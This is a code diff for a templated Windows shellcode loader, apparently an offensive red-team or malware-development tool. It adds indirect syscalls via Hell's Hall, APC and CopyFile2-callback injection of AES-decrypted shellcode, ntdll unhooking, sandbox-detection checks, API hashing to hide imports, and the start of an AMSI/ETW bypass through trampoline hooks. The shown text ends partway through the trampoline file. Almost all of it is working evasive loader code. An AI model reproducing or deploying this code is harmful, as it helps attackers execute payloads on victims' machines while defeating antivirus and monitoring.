|
||||
/* -------------------------------------------------------------------------- */
|
||||
#define HH_SEED 0xEDB88320u
|
||||
#define HH_RANGE 0x1E /* max bytes to search forward for syscall */
|
||||
|
||||
hh_u32 HH_Crc32b(const hh_u8 *str);
|
||||
#define HASH(s) HH_Crc32b((const hh_u8 *)(s))
|
||||
|
||||
/* Precomputed CRC32b hashes — verified: HASH("NtXxx") == constant below */
|
||||
#define HH_HASH_NtAllocateVirtualMemory 0xE0762FEBu
|
||||
#define HH_HASH_NtProtectVirtualMemory 0x5C2D1A97u
|
||||
#define HH_HASH_NtWriteVirtualMemory 0xE4879939u
|
||||
#define HH_HASH_NtQueueApcThread 0x235B0390u
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* SysFunc — one instance per syscall */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
typedef struct _SysFunc {
|
||||
PVOID pInst; /* address of a 'syscall' instruction inside ntdll */
|
||||
PBYTE pAddress; /* address of the NT stub in ntdll */
|
||||
WORD wSSN; /* syscall service number */
|
||||
hh_u32 uHash; /* CRC32b of the function name */
|
||||
} SysFunc, *PSysFunc;
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Assembly stubs (whispers-asm.x64.asm) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
EXTERN_C VOID SetConfig(WORD wSSN, PVOID pSyscallInst);
|
||||
#define SYSCALL(sf) (SetConfig((sf).wSSN, (sf).pInst))
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* NTSTATUS / KNORMAL_ROUTINE (guard against redefinition) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
#ifndef _NTDEF_
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#ifndef _KNORMAL_ROUTINE_DEFINED
|
||||
#define _KNORMAL_ROUTINE_DEFINED
|
||||
typedef VOID(KNORMAL_ROUTINE)(IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
typedef KNORMAL_ROUTINE *PKNORMAL_ROUTINE;
|
||||
#endif
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Typed HellHall dispatch stubs (all share the same ASM body) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
EXTERN_C NTSTATUS HellHall_NtAVM(
|
||||
HANDLE ProcessHandle, PVOID *BaseAddress,
|
||||
ULONG ZeroBits, PSIZE_T RegionSize,
|
||||
ULONG AllocationType, ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS HellHall_NtPVM(
|
||||
HANDLE ProcessHandle, PVOID *BaseAddress,
|
||||
PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS HellHall_NtWVM(
|
||||
HANDLE ProcessHandle, PVOID BaseAddress,
|
||||
PVOID Buffer, SIZE_T NumberOfBytesToWrite,
|
||||
PSIZE_T NumberOfBytesWritten);
|
||||
|
||||
EXTERN_C NTSTATUS HellHall_NtQAT(
|
||||
HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine,
|
||||
PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Hell's Hall C API */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_InitNtdll(VOID);
|
||||
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF);
|
||||
BOOL HH_Initialize(VOID); /* resolve all 4 syscalls once at startup */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Public wrappers — same signatures as the old SysWhispers3 stubs */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType, IN ULONG Protect);
|
||||
|
||||
NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
|
||||
|
||||
NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
|
||||
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten);
|
||||
|
||||
NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
@@ -33,7 +33,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
|
||||
// API Hashing
|
||||
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
|
||||
|
||||
Sleep(15000);
|
||||
JITTER_SLEEP(15000);
|
||||
if(!cCPAu(
|
||||
NULL,
|
||||
lpPath,
|
||||
@@ -55,7 +55,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
|
||||
*hProcess = Pi.hProcess;
|
||||
*hThread = Pi.hThread;
|
||||
|
||||
Sleep(5000);
|
||||
JITTER_SLEEP(5000);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -83,8 +83,8 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
|
||||
//printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
|
||||
|
||||
|
||||
Sleep(2500);
|
||||
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
|
||||
JITTER_SLEEP(2500);
|
||||
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READ, &uOldProtection)) != 0) {
|
||||
|
||||
//printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
@@ -94,4 +94,125 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
// CopyFile2 compat types — only define when winbase.h does not already provide them.
|
||||
// Newer mingw-w64 (Kali 2024+, Ubuntu 24.04+) includes these when _WIN32_WINNT >= 0x0602.
|
||||
// We pass -D_WIN32_WINNT=0x0602 via CFLAGS so this block is effectively dead on
|
||||
// modern toolchains; it remains as a safety net for legacy environments.
|
||||
#if !defined(_WIN32_WINNT) || (_WIN32_WINNT < 0x0602)
|
||||
|
||||
typedef enum _COPYFILE2_MESSAGE_TYPE {
|
||||
COPYFILE2_CALLBACK_NONE = 0,
|
||||
COPYFILE2_CALLBACK_CHUNK_STARTED,
|
||||
COPYFILE2_CALLBACK_CHUNK_FINISHED,
|
||||
COPYFILE2_CALLBACK_STREAM_STARTED,
|
||||
COPYFILE2_CALLBACK_STREAM_FINISHED,
|
||||
COPYFILE2_CALLBACK_POLL_CONTINUE,
|
||||
COPYFILE2_CALLBACK_ERROR,
|
||||
COPYFILE2_CALLBACK_MAX
|
||||
} COPYFILE2_MESSAGE_TYPE;
|
||||
|
||||
typedef enum _COPYFILE2_MESSAGE_ACTION {
|
||||
COPYFILE2_PROGRESS_CONTINUE = 0,
|
||||
COPYFILE2_PROGRESS_CANCEL,
|
||||
COPYFILE2_PROGRESS_STOP,
|
||||
COPYFILE2_PROGRESS_QUIET,
|
||||
COPYFILE2_PROGRESS_PAUSE
|
||||
} COPYFILE2_MESSAGE_ACTION;
|
||||
|
||||
typedef struct COPYFILE2_MESSAGE {
|
||||
COPYFILE2_MESSAGE_TYPE Type;
|
||||
DWORD dwPadding;
|
||||
union {
|
||||
struct { ULARGE_INTEGER ullChunkNumber; } ChunkStarted;
|
||||
struct { ULARGE_INTEGER ullChunkNumber; } ChunkFinished;
|
||||
struct { DWORD dwStreamNumber; } StreamStarted;
|
||||
struct { DWORD dwStreamNumber; } StreamFinished;
|
||||
struct { DWORD dwReserved; } PollContinue;
|
||||
struct { DWORD dwReserved; } Error;
|
||||
} Info;
|
||||
} COPYFILE2_MESSAGE;
|
||||
|
||||
typedef COPYFILE2_MESSAGE_ACTION (CALLBACK *PCOPYFILE2_PROGRESS_ROUTINE)(
|
||||
const COPYFILE2_MESSAGE *pMessage, PVOID pvCallbackContext);
|
||||
|
||||
typedef struct COPYFILE2_EXTENDED_PARAMETERS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCopyFlags;
|
||||
BOOL *pfCancel;
|
||||
PCOPYFILE2_PROGRESS_ROUTINE pProgressRoutine;
|
||||
PVOID pvCallbackContext;
|
||||
} COPYFILE2_EXTENDED_PARAMETERS;
|
||||
|
||||
WINBASEAPI HRESULT WINAPI CopyFile2(PCWSTR pwszExistingFileName,
|
||||
PCWSTR pwszNewFileName, COPYFILE2_EXTENDED_PARAMETERS *pExtendedParameters);
|
||||
|
||||
#endif // !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
|
||||
|
||||
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
|
||||
|
||||
SIZE_T sSize = sSizeOfShellcode;
|
||||
NTSTATUS STATUS = 0x00; DWORD dwOldProtect = 0; WCHAR szSourceFile[MAX_PATH];
|
||||
WCHAR szDestFile[MAX_PATH];
|
||||
|
||||
// Allocate RW memory — will be flipped to RX before execution
|
||||
*ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (*ppAddress == NULL) {
|
||||
//printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
|
||||
|
||||
// Copy shellcode to RW memory
|
||||
RtlMoveMemory(*ppAddress, pShellcode, sSizeOfShellcode);
|
||||
//printf("[+] Successfully Written %d Bytes\n", sSizeOfShellcode);
|
||||
|
||||
// Flip to RX. never hold W+X simultaneously
|
||||
VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtect);
|
||||
|
||||
// Setup CopyFile2 parameters with callback pointing to shellcode
|
||||
COPYFILE2_EXTENDED_PARAMETERS params = { 0 };
|
||||
params.dwSize = sizeof(COPYFILE2_EXTENDED_PARAMETERS);
|
||||
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
|
||||
params.pfCancel = FALSE;
|
||||
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)*ppAddress; // Shellcode as callback
|
||||
params.pvCallbackContext = NULL;
|
||||
|
||||
// Get TEMP path and create source/dest file paths
|
||||
GetEnvironmentVariableW(L"TEMP", szSourceFile, MAX_PATH);
|
||||
wcscpy(szDestFile, szSourceFile);
|
||||
wcscat(szSourceFile, L"\\#-CALLBACK_SRC_TMP-#");
|
||||
wcscat(szDestFile, L"\\#-CALLBACK_DST_TMP-#");
|
||||
|
||||
// Create a dummy source file
|
||||
HANDLE hFile = CreateFileW(szSourceFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
DWORD dwWritten;
|
||||
BYTE dummyData[1024] = { 0x41 }; // Just some dummy data
|
||||
WriteFile(hFile, dummyData, sizeof(dummyData), &dwWritten, NULL);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
// Delete destination if it exists
|
||||
DeleteFileW(szDestFile);
|
||||
|
||||
JITTER_SLEEP(1500);
|
||||
//printf("[i] Triggering shellcode via CopyFile2 callback...\n");
|
||||
|
||||
// Trigger the callback by copying the file
|
||||
// The progress routine (our shellcode) will be called during the copy operation
|
||||
HRESULT hr = CopyFile2(szSourceFile, szDestFile, ¶ms);
|
||||
|
||||
// Cleanup temp files
|
||||
DeleteFileW(szSourceFile);
|
||||
DeleteFileW(szDestFile);
|
||||
|
||||
if (SUCCEEDED(hr)) {
|
||||
//printf("[+] Callback executed successfully!\n");
|
||||
return TRUE;
|
||||
} else {
|
||||
//printf("[!] CopyFile2 failed with HRESULT: 0x%0.8X\n", hr);
|
||||
return TRUE; // Still return TRUE as callback might have executed
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,8 @@
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
#include "sandbox.h"
|
||||
#include "trampoline.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
@@ -12,7 +14,7 @@ uint8_t aes_k[16] = { #-KEY_VALUE-# };
|
||||
uint8_t aes_i[16] = { #-IV_VALUE-# };
|
||||
|
||||
|
||||
int main() {
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
|
||||
|
||||
PBYTE pEncPayload = NULL;
|
||||
SIZE_T sEncPayload = 0;
|
||||
@@ -30,6 +32,9 @@ int main() {
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
// Seed RNG for jittered sleep timing
|
||||
srand((unsigned int)GetTickCount());
|
||||
// #-SANDBOX_CHECK_CALL-#
|
||||
//printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
@@ -37,8 +42,11 @@ int main() {
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
// Install hooks AFTER unhooking so they don't get erased
|
||||
// #-TRAMPOLINE_CALL-#
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
if (!GetContent(&pEncPayload, &sEncPayload)) {
|
||||
|
||||
//printf("[-] Failed to get the data!\n");
|
||||
@@ -51,7 +59,7 @@ int main() {
|
||||
// Decryption routine
|
||||
//printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
@@ -59,7 +67,7 @@ int main() {
|
||||
|
||||
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
JITTER_SLEEP(1500);
|
||||
//printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
@@ -69,36 +77,29 @@ int main() {
|
||||
}
|
||||
//printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
//printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
//printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
JITTER_SLEEP(2500);
|
||||
// #-INJECTION_METHOD_PLACEHOLDER-#
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
//printf("[+] Payload executed!\n");
|
||||
// Cleanup: Zero out sensitive data before freeing
|
||||
if (pEncPayload) {
|
||||
SecureZeroMemory(pEncPayload, sEncPayload);
|
||||
free(pEncPayload);
|
||||
pEncPayload = NULL;
|
||||
}
|
||||
if (pClearText) {
|
||||
SecureZeroMemory(pClearText, sEncPayload);
|
||||
free(pClearText);
|
||||
pClearText = NULL;
|
||||
}
|
||||
// Zero out encryption keys
|
||||
SecureZeroMemory(aes_k, sizeof(aes_k));
|
||||
SecureZeroMemory(aes_i, sizeof(aes_i));
|
||||
SecureZeroMemory(&ctx, sizeof(ctx));
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
if (hThread)
|
||||
CloseHandle(hThread);
|
||||
if (hProcess)
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -4,6 +4,8 @@
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
#include "sandbox.h"
|
||||
#include "trampoline.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
@@ -31,6 +33,9 @@ extern __declspec(dllexport) int ctf()
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
// Seed RNG for jittered sleep timing
|
||||
srand((unsigned int)GetTickCount());
|
||||
// #-SANDBOX_CHECK_CALL-#
|
||||
//printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
@@ -38,8 +43,11 @@ extern __declspec(dllexport) int ctf()
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
// Install hooks AFTER unhooking so they don't get erased
|
||||
// #-TRAMPOLINE_CALL-#
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
if (!GetContent(&pEncPayload, &sEncPayload)) {
|
||||
|
||||
//printf("[-] Failed to get the data!\n");
|
||||
@@ -52,7 +60,7 @@ extern __declspec(dllexport) int ctf()
|
||||
// Decryption routine
|
||||
//printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
@@ -60,7 +68,7 @@ extern __declspec(dllexport) int ctf()
|
||||
|
||||
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
JITTER_SLEEP(1500);
|
||||
//printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
@@ -70,36 +78,29 @@ extern __declspec(dllexport) int ctf()
|
||||
}
|
||||
//printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
//printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
//printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
JITTER_SLEEP(2500);
|
||||
// #-INJECTION_METHOD_PLACEHOLDER-#
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
//printf("[+] Payload executed!\n");
|
||||
// Cleanup: Zero out sensitive data before freeing
|
||||
if (pEncPayload) {
|
||||
SecureZeroMemory(pEncPayload, sEncPayload);
|
||||
free(pEncPayload);
|
||||
pEncPayload = NULL;
|
||||
}
|
||||
if (pClearText) {
|
||||
SecureZeroMemory(pClearText, sEncPayload);
|
||||
free(pClearText);
|
||||
pClearText = NULL;
|
||||
}
|
||||
// Zero out encryption keys
|
||||
SecureZeroMemory(aes_k, sizeof(aes_k));
|
||||
SecureZeroMemory(aes_i, sizeof(aes_i));
|
||||
SecureZeroMemory(&ctx, sizeof(ctx));
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
if (hThread)
|
||||
CloseHandle(hThread);
|
||||
if (hProcess)
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return 0;
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
#include <windows.h>
|
||||
#include "sandbox.h"
|
||||
#include "functions.h"
|
||||
|
||||
/*
|
||||
* RunSandboxChecks
|
||||
*
|
||||
* Lightweight pre-flight checks before payload execution.
|
||||
* Returns TRUE -> environment looks like a real workstation.
|
||||
* Returns FALSE -> likely a sandbox / analysis VM; loader should exit cleanly.
|
||||
*
|
||||
* All WinAPI calls are resolved at runtime via API hashing (GetProcAddressH /
|
||||
* GetModuleHandleH) so no suspicious IAT entries appear in the binary.
|
||||
*
|
||||
* Checks performed:
|
||||
* 1. System uptime < #-SANDBOX_MIN_UPTIME_MS-# ms
|
||||
* 2. Physical RAM < #-SANDBOX_MIN_RAM_GB-# GB
|
||||
* 3. Logical CPU count < #-SANDBOX_MIN_CPU-#
|
||||
*/
|
||||
|
||||
typedef ULONGLONG (WINAPI* pGetTickCount64_t)(void);
|
||||
typedef BOOL (WINAPI* pGlobalMemoryStatusEx_t)(LPMEMORYSTATUSEX);
|
||||
typedef void (WINAPI* pGetSystemInfo_t)(LPSYSTEM_INFO);
|
||||
|
||||
BOOL RunSandboxChecks(void) {
|
||||
|
||||
HMODULE hK32 = GetModuleHandleH(#-KERNEL32_VALUE-#);
|
||||
if (!hK32)
|
||||
return FALSE;
|
||||
|
||||
/* --- 1. Uptime --- */
|
||||
pGetTickCount64_t fnGTC64 =
|
||||
(pGetTickCount64_t) GetProcAddressH(hK32, #-GETTICKCOUNT64_VALUE-#);
|
||||
if (!fnGTC64 || fnGTC64() < #-SANDBOX_MIN_UPTIME_MS-#)
|
||||
return FALSE;
|
||||
|
||||
/* --- 2. RAM --- */
|
||||
pGlobalMemoryStatusEx_t fnGMSE =
|
||||
(pGlobalMemoryStatusEx_t) GetProcAddressH(hK32, #-GLOBALMEMORYSTATUSEX_VALUE-#);
|
||||
if (!fnGMSE)
|
||||
return FALSE;
|
||||
MEMORYSTATUSEX ms;
|
||||
ms.dwLength = sizeof(ms);
|
||||
if (!fnGMSE(&ms))
|
||||
return FALSE;
|
||||
if (ms.ullTotalPhys < #-SANDBOX_MIN_RAM_BYTES-#)
|
||||
return FALSE;
|
||||
|
||||
/* --- 3. CPU count --- */
|
||||
pGetSystemInfo_t fnGSI =
|
||||
(pGetSystemInfo_t) GetProcAddressH(hK32, #-GETSYSTEMINFO_VALUE-#);
|
||||
if (!fnGSI)
|
||||
return FALSE;
|
||||
SYSTEM_INFO si;
|
||||
fnGSI(&si);
|
||||
if (si.dwNumberOfProcessors < #-SANDBOX_MIN_CPU-#)
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*
|
||||
* RunSandboxChecks — returns TRUE if the environment looks legitimate.
|
||||
* Call this early in the entry point; bail out if it returns FALSE.
|
||||
*/
|
||||
BOOL RunSandboxChecks(void);
|
||||
@@ -0,0 +1,307 @@
|
||||
/*
|
||||
* trampoline.c
|
||||
*
|
||||
* AMSI & ETW bypass via x64 trampoline hooks.
|
||||
* Adapted from TrampoLatte (github.com/MochaByte/TrampoLatte).
|
||||
*
|
||||
* All WinAPI calls are resolved at runtime via API hashing so no
|
||||
* suspicious IAT entries appear in the binary.
|
||||
*/
|
||||
|
||||
// #-DEBUG_DEFINE-#
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "functions.h"
|
||||
#include "trampoline.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#define DBG(fmt, ...) do { char _b[512]; sprintf(_b, "[TrampoLatte] " fmt "\n", ##__VA_ARGS__); OutputDebugStringA(_b); } while(0)
|
||||
#else
|
||||
#define DBG(fmt, ...) ((void)0)
|
||||
#endif
|
||||
|
||||
#define TRAMPOLINE_SIZE 13
|
||||
|
||||
extern void RetStub(void);
|
||||
|
||||
typedef HANDLE HAMSICONTEXT;
|
||||
typedef HANDLE HAMSISESSION;
|
||||
#define AMSI_RESULT_CLEAN 0
|
||||
typedef int AMSI_RESULT;
|
||||
|
||||
typedef HRESULT (WINAPI *PFN_AMSI_SCAN_BUFFER)(
|
||||
HAMSICONTEXT, PVOID Buffer, ULONG Length,
|
||||
LPCWSTR ContentName, HAMSISESSION, AMSI_RESULT *Result);
|
||||
|
||||
static PFN_AMSI_SCAN_BUFFER g_pOriginalAmsiFunc = NULL;
|
||||
|
||||
|
||||
BOOL GetEtwpEventWriteFull(OUT PVOID *ppFunction)
|
||||
{
|
||||
// First getting a pointer to the EtwEventWriteEx function
|
||||
PBYTE pEtwEventWriteEx = (PBYTE)GetProcAddressH(
|
||||
GetModuleHandleH(#-NTDLL_VALUE-#),
|
||||
#-ETWEVENTWRITEEX_VALUE-#);
|
||||
if (pEtwEventWriteEx == NULL)
|
||||
{
|
||||
DBG("[-] Failed to get EtwEventWriteEx");
|
||||
return FALSE;
|
||||
}
|
||||
DBG("[+] Found EtwEventWriteEx at 0x%p", pEtwEventWriteEx);
|
||||
|
||||
PVOID pTargetFunction = NULL,
|
||||
pTemp = NULL;
|
||||
int i = 0;
|
||||
|
||||
// 1. We start at the pointers address and go down the memory lane to find the C3 instruction
|
||||
|
||||
while(1)
|
||||
{
|
||||
BYTE opcode = pEtwEventWriteEx[i];
|
||||
|
||||
// 2. We have reached the RET instruction, stop there
|
||||
if (pEtwEventWriteEx[i] == 0xC3)
|
||||
{
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// 3. By doing it this way, we ensure we hit the right 0xE8 instruction which is the CALL instruction.
|
||||
|
||||
// 4. We loop again, this time we move "upwards" to hit the CALL instruction
|
||||
while (i)
|
||||
{
|
||||
BYTE opcode = pEtwEventWriteEx[i];
|
||||
|
||||
// 5. We have reached the CALL instruction
|
||||
if (opcode == 0xE8)
|
||||
{
|
||||
// We get the relative address for EtwpEventWriteEx.
|
||||
// pEtwEventWriteEx + i -> this is the CALL instruction
|
||||
// + 1 gets you the first byte of the displacement
|
||||
// I used int32_t because its a 32-bit signed integer and negative displacements are handled correctly
|
||||
int32_t relative = *(int32_t*)(pEtwEventWriteEx + i + 1);
|
||||
DBG("relative addr: 0x%p", (PVOID)(uintptr_t)relative);
|
||||
|
||||
// We go from pEtwEventWriteEx + i which is the CALL instruction. +5 gets you past that and + relative gets you the relative address of EtwpEventWriteFull.
|
||||
pTargetFunction = pEtwEventWriteEx + i + 5 + relative;
|
||||
DBG("pTargetFunction at position: 0x%p", pTargetFunction);
|
||||
|
||||
// 6. pTargetFunction is now EtwpEventWriteFull
|
||||
*ppFunction = pTargetFunction;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
i--;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
BOOL TrampolineX64(IN PVOID pHookedFunction, IN PVOID pDetourFunction, OUT PVOID *pOriginalFunc, OUT DWORD *dwOldProt)
|
||||
{
|
||||
DWORD dwOldProtect = 0;
|
||||
|
||||
// Trampoline x64
|
||||
uint8_t uTrampoline[] = {
|
||||
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun
|
||||
0x41, 0xFF, 0xE2 // jmp r10
|
||||
};
|
||||
|
||||
// The actual patch
|
||||
uint64_t patch = (uint64_t)(pDetourFunction);
|
||||
|
||||
// Prepare the jump point
|
||||
memcpy(&uTrampoline[2], &patch, sizeof(patch));
|
||||
|
||||
DBG("TrampolineX64: target=0x%p detour=0x%p", pHookedFunction, pDetourFunction);
|
||||
|
||||
// Dump the bytes we intend to write
|
||||
DBG(" Trampoline payload: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
|
||||
uTrampoline[0], uTrampoline[1], uTrampoline[2], uTrampoline[3],
|
||||
uTrampoline[4], uTrampoline[5], uTrampoline[6], uTrampoline[7],
|
||||
uTrampoline[8], uTrampoline[9], uTrampoline[10], uTrampoline[11], uTrampoline[12]);
|
||||
|
||||
// Dump the original bytes at the target before we touch anything
|
||||
{
|
||||
BYTE *p = (BYTE *)pHookedFunction;
|
||||
DBG(" BEFORE: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
|
||||
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
|
||||
p[7], p[8], p[9], p[10], p[11], p[12]);
|
||||
}
